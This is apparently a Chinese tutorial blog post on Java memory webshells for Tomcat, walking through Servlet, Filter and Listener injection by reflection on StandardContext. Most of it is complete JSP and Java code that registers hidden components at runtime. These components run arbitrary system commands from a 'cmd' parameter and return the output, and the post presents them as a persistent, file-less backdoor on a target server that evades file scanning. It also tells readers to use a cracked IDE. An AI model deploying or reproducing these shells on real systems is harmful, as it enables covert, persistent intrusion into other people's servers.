内存马(持续更新)
致谢:https://github.com/0ofo/java-memshell
观看视频:1、Servlet内存马_哔哩哔哩_bilibili
环境搭建
环境要求:
JDK8:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
tomcat:https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.1/bin/
下载项目源码https://github.com/0ofo/java-memshell
git pull https://github.com/0ofo/java-memshell.git
之后用付费版的idea打开(自己去找破解脚本捏,我是用的IDEA2025.1.7.1),进入项目,添加配置


选择自己tomcat的版本,会显示“警告: 没有为部署标记工件”,点击修复选择api

然后运行就行了,但是我遇到了500的问题,如果你也有的话可以改一下这个文件
修改 servlet-api/pom.xml,将 tomcat-catalina 的 scope 改为 provided,避免依赖冲突:
22
23
24
25 +
26
27
28

然后重新启动就行了
之后的配置跟着视频走就行
内存马
概念
传统的文件型WebShell越来越难以逃避检测和清理。攻击者开始植入一种无文件落地的木马-内存马(Memory Shell)。
内存马是一种将恶意代码直接注入到应用程序运行时内存中的技术手段。与传统的基于文件的WebShell不同,内存马不依赖于磁盘上的任何持久化存储,而是利用Java、.NET等语言提供的反射机制或动态编译功能,在内存中创建并执行恶意逻辑。这种方式不仅能够绕过大多数基于文件扫描的安全防护措施,而且由于其高度的灵活性和隐蔽性,使得一旦成功植入,很难被发现和清除。
内存马是一种将恶意代码直接注入到应用程序运行时内存中的技术手段。与传统的基于文件的WebShell不同,内存马不依赖于磁盘上的任何持久化存储,而是利用Java、.NET等语言提供的反射机制或动态编译功能,在内存中创建并执行恶意逻辑。这种方式不仅能够绕过大多数基于文件扫描的安全防护措施,而且由于其高度的灵活性和隐蔽性,使得一旦成功植入,很难被发现和清除。
内存马的类型
- 动态注册 Servlet/Filter/Listener(使用 servlet-api 的具体实现)
- 动态注册 Interceptor/Controller(使用框架如 Spring/Struts2 拦截器和控制器)
- 动态注册使用职责链设计模式的中间件、框架实现(例如 Tomcat 的 Pipeline & Valve)
- 使用 Java Agent 技术写入字节码(冰蝎)
Servlet-API类
Servlet内存马
Servlet内存马是通过动态注册Servlet来实现的一种内存攻击手段。在Java Web应用中,Servlet作为处理客户端请求的核心组件之一,能够直接处理HTTP请求并返回响应。攻击者利用这一点,通过程序化地向Web容器(如Tomcat)在运行时注册恶意的Servlet对象,使得该Servlet能够在没有实际文件存在的情况下执行恶意程序。
在编写我们自己的内存马之前,我们需要先搞清楚一个问题:我们写的Servlet类是怎么被装载到Web容器的。
Servlet装载流程
创建一个项目,jdk>10、tomcat>8


1自己写一个Servlet,新建一个Myservlet类

package com.example.memshell;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
public class Myservlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().println("MyServlet");
}
}
2在web.xml定义servlet(servlet名称和类的全路径)和servlet-mapping(servlet和对应的uri)

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="https://jakarta.ee/xml/ns/jakartaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_6_0.xsd"
version="6.0">
<servlet>
<servlet-name>Myservlet</servlet-name>
<servlet-class>com.example.memshell.Myservlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Myservlet</servlet-name>
<url-pattern>/my</url-pattern>
</servlet-mapping>
</web-app>
启动tomcat,在/memshell_war_exploded/my路径上就能看见我们写的
3.tomcat的加载部分
在ContextConfig#configureContext(WebXml webxml)部分。

这个类来自tomcat-catalina,至于版本,和tomcat运行时环境版本保持一致
```
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>10.0.10</version>
</dependency>
```
之后重新加载maven
继续分析ContextConfig#configureContext(WebXml webxml)部分

打上断点调试

观察入参的webxml实参变量,其中就包含我们在web.xml中定义的HelloServlet和映射路径信息。分别叫webxml.servlets和webxml.servletMappings。

其中上面两个是预制的,而helloServlet和Myservlet是用户自己写的

这里servletMappings是对应的映射关系

这些信息又是在哪里被处理的呢?注意函数下这两个for循环


一个是处理servlet的循环,一个是处理url映射关系的循环。这里都用到了context这个对象。
我们看一下最关键的两行添加进容器的代码,分别是
context.addChild(wrapper);
和
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
一个是向容器上下文中添加我们的Servlet,一个是向容器声明Servlet和URL的映射关系。
那问题来了,如果我们要利用这两个方法,就得利用context,context是什么,如何获取?
答:
此处的context是StandardContext

那我们如何获取到这个context呢?
通过 HttpServletRequest.getServletContext.context.context
去给Myservlet.java打个断点,然后点恢复,我们就能通过req.getServletContext()看见想要的context,然后就能执行我们想要执行的那两行命令了

wrapper又是什么?
答:一个servlet的包装类,用于存放servlet的全类名、servlet对象和servlet名称。
搞清楚了这点,我们接下来的思路就简单了
实现机制
- 创建恶意Servlet类
- 获取context:StandardContext(通过反射)
- 从context获取Wrapper对象
- 将自己的Servlet封装进wrapper对象
- 将wrapper添加到上下文并设置映射路径
创建恶意Servlet类
shell.jsp
//弹计算器
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class MemServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Runtime.getRuntime().exec("calc");
}
}
%>
//任意命令执行
<%--<%!
// 定义一个恶意servlet
public class MemServlet extends HttpServlet {
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
String line;
while ((line = bufferedReader.readLine()) != null) {
response.getWriter().println(line);
}
}
}
}
%>--%>
获取context
//通过servletContext拿到ApplicationConmtext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//通过applicationContext拿到standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext)
将自己的Servlet封装进wrapper对象
//从context获取Wrapper对象
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("shell");
//将自己的Servlet封装进wrapper对象
//设置路径名
wrapper.setServletClass(MemServlet.class.getName());
//创建对象
wrapper.setServlet(new MemServlet());
将wrapper添加到上下文(standardContext)并设置映射路径(URL)
//将wrapper添加到上下文(standardContext)并设置映射路径(URL)
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/pai","memshell");
完整的shell.jsp
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
//定义恶意的servlet
public class MemServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Runtime.getRuntime().exec("calc");
}
}
%>
<%
//通过request反射。拿到standardcontext
ServletContext servletContext = request.getServletContext();
//通过servletContext拿到ApplicationConmtext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//通过applicationContext拿到standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext)
//从context获取Wrapper对象
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("shell");
//将自己的Servlet封装进wrapper对象
//设置路径名
wrapper.setServletClass(MemServlet.class.getName());
//创建对象
wrapper.setServlet(new MemServlet());
//将wrapper添加到上下文(standardContext)并设置映射路径(URL)
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/pai","shell");
%>
那么假设我们将这个内存马上传到了对方服务器上,我们映射的路径是/pai
一访问是404,这是正常的,因为我们还没触发我们的shell,现在我们去触发一下,访问shell.jsp

再去访问设置的路径/pai
计算器被弹出,因为我们注入的是内存马,即使shell.jsp被删除只要服务不重启就能一直用这个shell
Filter内存马
Filter,顾名思义,是过滤器,在请求到达Servlet前对请求进行过滤和处理。

如图,请求会先到达Filter,最后再传递给Servlet。
我们先定义一个Filter
HelloFilter.java
package com.example.memshell;
import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpFilter;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.logging.Filter;
//检查你是否有cmd参数
public class HelloFilter extends HttpFilter {
@Override
protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
//没有就放行,有就拦截+回显
if (cmd == null) {
chain.doFilter(req, res);
}
else {
res.setContentType("text/html;charset=utf-8");
res.getWriter().println("你输入的命令是"+cmd);
}
}
}
再在web.xml中声明Filter并配置拦截规则
<filter>
<filter-name>HelloFilter</filter-name>
<filter-class>com.example.memshell.HelloFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>HelloFilter</filter-name>
<url-pattern>/*</url-pattern> //通配符,任意路径生效
</filter-mapping>
启动一下服务

我们已经知道了如何编写一个filter并在webxml中配置拦截规则。
那么我们要如何在运行时将Filter添加到tomcat中呢?
执行过程
打上断点,两次F7步进程序

我们看见程序停在了ApplicationFilterChain这个类上

里面的doFilter的逻辑是无论你true还是false,最终都会调用internalDoFilter,我们直接让它运行到光标处,然后F7步进

然后我们观察内部的Filter做了什么,它从一个叫Filters的数组里面去拿到了一个Filter,并且你每次执行的时候,这个pos变量都会++
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
也就是说你每执行一遍这个函数,相应数组指针就会往下挪一位,那么我们知道了有filters这个数组,如果我们有办法将我们自定义的Filter加入到这个数组中,并且令指针指向我们自定义的Filter,那就可以控制命令执行了
问题,怎么把我们自定义的Filter加入进数组?

观察这个filters里面有两个,一个是我们自己写的,一个是tomcat内置的,
我们跟进这个数组,发现他一开始是空的

那么他是从哪里赋值的呢?
void addFilter(ApplicationFilterConfig filterConfig) {
// Prevent the same filter being added multiple times
for(ApplicationFilterConfig filter:filters) {
if(filter==filterConfig) {
return;
}
}
if (n == filters.length) {
ApplicationFilterConfig[] newFilters =
new ApplicationFilterConfig[n + INCREMENT];
System.arraycopy(filters, 0, newFilters, 0, n);
filters = newFilters; //这里给filters赋值
}
filters[n++] = filterConfig;
再找是谁调用的addFilter

只有这个ApplicationFilterFactory工厂,那么在这个工厂里面有个创建Filter的函数

它创建了一个空的Filter链
ApplicationFilterChain filterChain = null;
然后对这个链进行了addFilter操作
filterChain.addFilter(filterConfig);
从而给Filter链里面添加了Filter数组
那么是谁持有这个Filter链呢?

这里有两个类,一个是Applicaddiondispaddcher和StandardWrapper,我们看一下调用栈

最近的是StandardWrapper,同时他也有个FilterChain对象,跟进它,恰好就发现是
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
借用up主的图,后面太多了根本看不过来,猪脑过载

拿到 Tomcat 核心上下文 → 反射注入恶意 Filter 配置 → 插入 Filter 链 → 每次请求都经过你的 doFilter
正常启动流程:
web.xml → 解析 <filter>/<filter-mapping> → 填入 filterDefs/filterMaps → 第一次请求时创建 ApplicationFilterConfig → 放入 filters 数组 → 调用 doFilter。
注入流程
漏洞拿代码执行 → 反射拿到 StandardContext → 内存 new 恶意 Filter → 构造 FilterDef/FilterMap → 反射塞进 filterDefs/filterMaps → 手动创建 ApplicationFilterConfig 并追加到 filters 数组 → 所有请求经过你的 doFilter → 命令执行
<%@page import="java.lang.reflect.*" %> //导入反射依赖
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%--定义恶意的Filter,继承 HttpFilter,实现请求拦截逻辑--%>
<%!
public class ShellFilter extends HttpFilter{
@Override
protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
if (cmd == null) {
super.doFilter(req, res,chain);
}
else {
res.setContentType("text/html;charset=utf-8");
res.getWriter().println("你输入的命令是"+cmd);
}
}
}
%>
<%
//通过request反射。拿到standardcontext
ServletContext servletContext = request.getServletContext();
//通过servletContext拿到ApplicationConmtext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//通过applicationContext拿到standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
//实例化自定义的恶意过滤器对象
ShellFilter filter = new ShellFilter();
//构建 FilterDef:注册过滤器基础信息(名称、实例、类名)
FilterDef def = new FilterDef();
def.setFilterName("shell-filter");
def.setFilter(filter);
def.setFilterClass(filter.getClass().getName());
//构建 FilterMap:配置过滤器拦截规则
FilterMap map = new FilterMap();
map.setFilterName("shell-filter");
map.addURLPattern("/*");
//将过滤器定义与路由规则注册到 Tomcat 容器
standardContext.addFilterDef(def);
standardContext.addFilterMap(map);
//启动过滤器,初始化并加入 Tomcat 过滤器链,使其立即生效
standardContext.filterStart();
out.println("success");
%>
删除我们之前写的filter和xml增加的 内容,启动服务,访问马

cmd输入后发现我们写的jsp成功注入

现在改成有危害的命令
<%!
public class ShellFilter implements Filter{
@Override
public void init(FilterConfig filterConfig){}
@Override
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(
new InputStreamReader(proc.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
resp.getWriter().println(line);
}
br.close();
}else {
chain.doFilter(req,resp);
}
}
@Override
public void destroy() {}
}
%>
Listener内存马
Listener 它是 JavaEE 的规范,就是接口。用于监听 JavaWeb 程序中的事件。(如:ServletContext、HttpSession、ServletRequest的创建、修改和删除)
监听器的作用是,监听某种事物的变化。然后通过回调函数,反馈给客户(程序)去做一些相应的处理。
在 JavaWeb 中,可以为某些事件来设置监听器,当事件被触发时,监听器中的指定方法会被调用。
Servlet程序、Filter 过滤器 和 Listener 监听器 并称 WEB 的三大组件。
Listener 的原理是基于观察者模式的,所谓的观察者模式简单来说,就是当被观察者的特定事件被触发(一般在某些方法被调用后),会通知观察者(调用观察者的方法),观察者可以在自己的的方法中来对事件做一些处理。
Java Web中常见的Listener类型
| 类型 | 触发事件 |
|---|---|
| ServletContextListener | 在ServletContext创建和关闭时都会通知ServletContextListener监听器。 |
| HttpSessionListener | 当一个HttpSession刚被创建或者失效(invalidate)的时候,将会通知HttpSessionListener监听 |
| ServletRequestListener | 在ServletRequest创建和关闭时都会通知ServletRequestListener监听器 |
ServletRequestListener(最好触发的监听器)的生命周期

尝试写一个自己的Listener
新建项目自己写个listener

注:这是老师的配置,实际上我Java jdk选的21

在pom.xml中配置依赖
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.0.53</version>
</dependency>
添加MyListener类
package com.example.memshell;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import java.io.IOException;
public class MyListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}
定义好后不能立马生效,我们能需要把他加载到web程序中
修改web.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="https://jakarta.ee/xml/ns/jakartaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_6_0.xsd"
version="6.0">
<listener>
<listener-class>com.example.memshell.MyListener</listener-class>
</listener>
</web-app>
测试运行效果
http://localhost:8080/memshell_Listener_war_exploded/?cmd=calc.exe
问题?如何在服务器运行的时候动态的将Listener逻辑加入到应用程序中
在Listener方法中加入断点,并调试运行后触发断点

发现方法是由StandardContext.fireRequestInitEvent()调用

并且发现调用的Listener来自StandardContext中的applicationEventListenersList。那么事情到此就解决了。
步骤如下
- 动态创建一个Listener类,
- 通过反射获取StandardContext.applicationEventListenersList属性
- 将创建的类添加进applicationEventListenersList列表
那么自然会在请求时触发我们动态创建的Listener类。
那么jsp怎么写呢
在这个jsp中怎么拿到StandardContext实例?详情请见获取context
拿到后定义一个有害类
<%//定义一个类%>
<%!
public class MyListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}
%>
shell.jsp
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%//定义一个类%>
<%!
public class MyListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}
%>
<%
//通过request反射。拿到standardcontext
ServletContext servletContext = request.getServletContext();
//通过servletContext拿到ApplicationConmtext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//通过applicationContext拿到standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
//动态注册恶意Listener
standardContext.addApplicationEventListener(new MyListener());
out.println("success");
%>
问题:这是无回显的,现在我们需要拿到回显模式
回显形Listener
回显信息的最基本方法,是你拿到response对象的response.getWrite().print
那我们怎么拿到对象呢,在这个poc里面,我们唯一能依赖的就是public void requestInitialized(ServletRequestEvent sre)里面的sre,即事件源

sre下有一个request门面,门面是对功能的封装、对外提供接口的一个功能,里面有requset变量,里面有response变量

现在我们需要拿到response的输出流,通过反射
先拿到class字段,再去get一个id,类型是字段,因为该变量是私有变量,还要设置属性可访问,拿到request之后直接使用response去输出信息
package com.example.memshell_listener;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Response;
import java.io.IOException;
import java.lang.reflect.Field;
public class MyListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
//拿class字段
Class facedClass = req.getClass();
//get id
try {
Field requestField = facedClass.getDeclaredField("request");
//使私有变量可访问
requestField.setAccessible(true);
//拿request变量
Request request = (Request) requestField.get(req);
//使用response
request.getResponse().getWriter().println("input:" + cmd );
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
}

自然我们可以把这一段替换成执行命令输出的结果
package com.example.memshell_listener;
import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import org.apache.catalina.connector.Request;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
public class MyListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
//拿class字段(获取 RequestFacade 的 Class 对象)
Class facedClass = req.getClass();
//get id
try { // 反射获取 RequestFacade 类中名为 "request" 的私有字段
Field requestField = facedClass.getDeclaredField("request");
//使私有变量可访问
requestField.setAccessible(true);
//拿request变量并强转为 Tomcat 内部的 Catalina 级别 Request 对象
// 这样做是为了绕过 Servlet 标准的接口封装,直接拿到底层具备更多功能的 Request
Request request = (Request) requestField.get(req);
//调用 Runtime 类的 exec 方法执行传入的系统命令 (cmd),返回一个代表该子进程的 Process 对象
Process proc = Runtime.getRuntime().exec(cmd);
// 获取子进程的输入流 (标准输出)
InputStream stdIn = proc.getInputStream();
//将字节输入流 (InputStream) 包装成字符输入流 (InputStreamReader),解决字节到字符的编码转换问题(避免读取中文乱码)
InputStreamReader isr = new InputStreamReader(stdIn);
// 提供 readLine() 方法,可以按行高效读取命令执行的结果
BufferedReader br = new BufferedReader(isr);
//声明一个字符串变量 line 用于临时存储每次按行读取到的命令输出结果,初始化为 null
String line = null;
// 循环读取命令执行的输出结果,直到读完为止 (readLine() 返回 null 表示读取结束)
while ((line = br.readLine()) != null) {
// 将读取到的每一行命令执行结果通过 Response 的输出流写回给客户端
request.getResponse().getWriter().println(line);
}
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
}

浙公网安备 33010602011771号